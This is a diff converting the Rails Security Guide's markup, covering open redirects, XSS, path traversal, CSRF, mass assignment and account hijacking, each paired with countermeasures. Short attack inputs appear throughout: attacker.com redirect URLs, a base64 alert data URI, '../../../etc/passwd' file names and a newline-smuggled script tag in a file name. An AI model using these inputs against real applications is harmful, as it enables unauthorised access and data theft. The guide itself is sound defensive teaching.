 Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 def legacy
   redirect_to(params.update(:action=>'main'))
 end
-----------------------------------------------------------------------------
+</ruby>
 
 This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
 
-+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com+
+<plain>
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+</plain>
 
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
 
-==== Self-contained XSS
+h5. Self-contained XSS
 
 Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
 
 +data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
 
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#.
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
 
-=== File uploads
+h4. File Uploads
 
 -- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
 
-Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
 
-When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]:
+When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 def sanitize_filename(filename)
   returning filename.strip do |name|
     # NOTE: File.basename doesn't work right with Windows paths on Unix
@@ -301,161 +297,177 @@ def sanitize_filename(filename)
     name.gsub! /[^\w\.\-]/, '_'
   end
 end
-----------------------------------------------------------------------------
+</ruby>
 
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
 
-The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
 
-=== Executable code in file uploads
+h4. Executable Code in File Uploads
 
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._
+-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
 
 The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
 
-[,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards.
+_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
 
-=== File downloads
+h4. File Downloads
 
 -- _Make sure users cannot download arbitrary files._
 
 Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 send_file('/var/www/uploads/' + params[:filename])
-----------------------------------------------------------------------------
+</ruby>
 
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#:
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
 filename = File.expand_path(File.join(basename, @file.public_filename))
 raise if basename =!
      File.expand_path(File.join(File.dirname(filename), '../../../'))
 send_file filename, :disposition => 'inline'
-----------------------------------------------------------------------------
+</ruby>
 
 Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
 
-== Intranet and Admin security
+h3. Intranet and Admin Security
 
 -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
 
-In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

 
 *XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
 
-Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
 
-Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface.
+Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
 
-*CSRF*  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+*CSRF*  Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
 
-A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
 
-Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

 
 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
 
-For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#.
+For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
 
-=== Additional precautions
+h4. Additional Precautions
 
 The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
 
-- It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#?
+* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
 
-- Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
 
-- [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
 
-== Mass assignment
+h3. Mass Assignment
 
 -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
 
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
+The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 def signup
   params[:user] #=> {:name => “ow3ned”, :admin => true}
   @user = User.new(params[:user])
 end
-----------------------------------------------------------------------------
+</ruby>
 
 Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
 
-..........
-http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-..........
+<pre>
+"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
+</pre>
 
 This will set the following parameters in the controller:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 params[:user] #=> {:name => “ow3ned”, :admin => true}
-----------------------------------------------------------------------------
+</ruby>
 
 So if you create a new user using mass-assignment, it may be too easy to become an administrator.
 
-=== Countermeasures
+Note that this vulnerability is not restricted to database columns.  Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method.  In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3.  The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+).  For example:
 
-To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
+<ruby>
+  class Person < ActiveRecord::Base
+    has_many :credits
 
-[source, ruby]
-----------------------------------------------------------------------------
+    accepts_nested_attributes_for :children
+  end
+
+  class Child < ActiveRecord::Base
+    belongs_to :person
+  end  
+</ruby>
+
+As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
+
+h4. Countermeasures
+
+To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
+
+<ruby>
 attr_protected :admin
-----------------------------------------------------------------------------
+</ruby>
 
-A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 attr_accessible :name
-----------------------------------------------------------------------------
+</ruby>
 
 If you want to set a protected attribute, you will to have to assign it individually:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user])
 @user.admin #=> false # not mass-assigned
 @user.admin = true
 @user.admin #=> true
-----------------------------------------------------------------------------
+</ruby>
 
-== User management
+A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes.  This can be easily achieved with a very simple initializer:
+
+<ruby>
+ActiveRecord::Base.send(:attr_accessible, nil)
+</ruby>
+
+This will create an empty whitelist of attributes available for mass assignment for all models in your app.  As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration.  This technique is best applied at the start of a new project.  However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests.
+
+h3. User Management
 
 -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
 
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
 
 Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
 
-..........
+<plain>
 http://localhost:3006/user/activate
 http://localhost:3006/user/activate?id=
-..........
+</plain>
 
 This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 User.find_by_activation_code(params[:id])
-----------------------------------------------------------------------------
+</ruby>
 
 If the parameter was nil, the resulting SQL query will be
 
-..........
-SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
-..........
+<sql>
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+</sql>
 
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
 
-=== Brute-forcing accounts
+h4. Brute-Forcing Accounts
 
 -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
 
@@ -465,29 +477,29 @@ Because of this, most web applications will display a generic error message “u
 
 However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
 
-In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
 
-=== Account hijacking
+h4. Account Hijacking
 
 -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
 
-==== Passwords
+h5. Passwords
 
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
 
-==== E-Mail
+h5. E-Mail
 
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#.
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
 
-==== Other
+h5. Other
 
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
 
-=== CAPTCHAs
+h4. CAPTCHAs
 
 -- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
 
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API.
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
 
 You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
 The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
@@ -496,458 +508,449 @@ Most bots are really dumb, they crawl the web and put their spam into every form
 
 Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
 
-- position the fields off of the visible area of the page
-- make the elements very small or colour them the same as the background of the page
-- leave the fields displayed, but tell humans to leave them blank
+* position the fields off of the visible area of the page
+* make the elements very small or colour them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
 
 The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
 
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]:
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
 
-- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-- Randomize the field names
-- Include more than one honeypot field of all types, including submission buttons
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
 
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
 
-=== Logging
+h4. Logging
 
 -- _Tell Rails not to put passwords in the log files._
 
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 filter_parameter_logging :password
-----------------------------------------------------------------------------
+</ruby>
 
-=== Good passwords
+h4. Good Passwords
 
 -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
 
-Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
 
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
 
 It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
 
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
 
-=== Regular expressions
+h4. Regular Expressions
 
 -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
 
 Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 class File < ActiveRecord::Base
   validates_format_of :name, :with => /^[\w\.\-\+]+$/
 end
-----------------------------------------------------------------------------
+</ruby>
 
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems:
+This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
 
-..........
+<plain>
 file.txt%0A<script>alert('hello')</script>
-..........
+</plain>
 
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
+Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 /\A[\w\.\-\+]+\z/
-[source, ruby]
-----------------------------------------------------------------------------
+</ruby>
 
-=== Privilege escalation
+h4. Privilege Escalation
 
 -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
 
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
+The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 @project = Project.find(params[:id])
-----------------------------------------------------------------------------
+</ruby>
 
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 @project = @current_user.projects.find(params[:id])
-----------------------------------------------------------------------------
+</ruby>
 
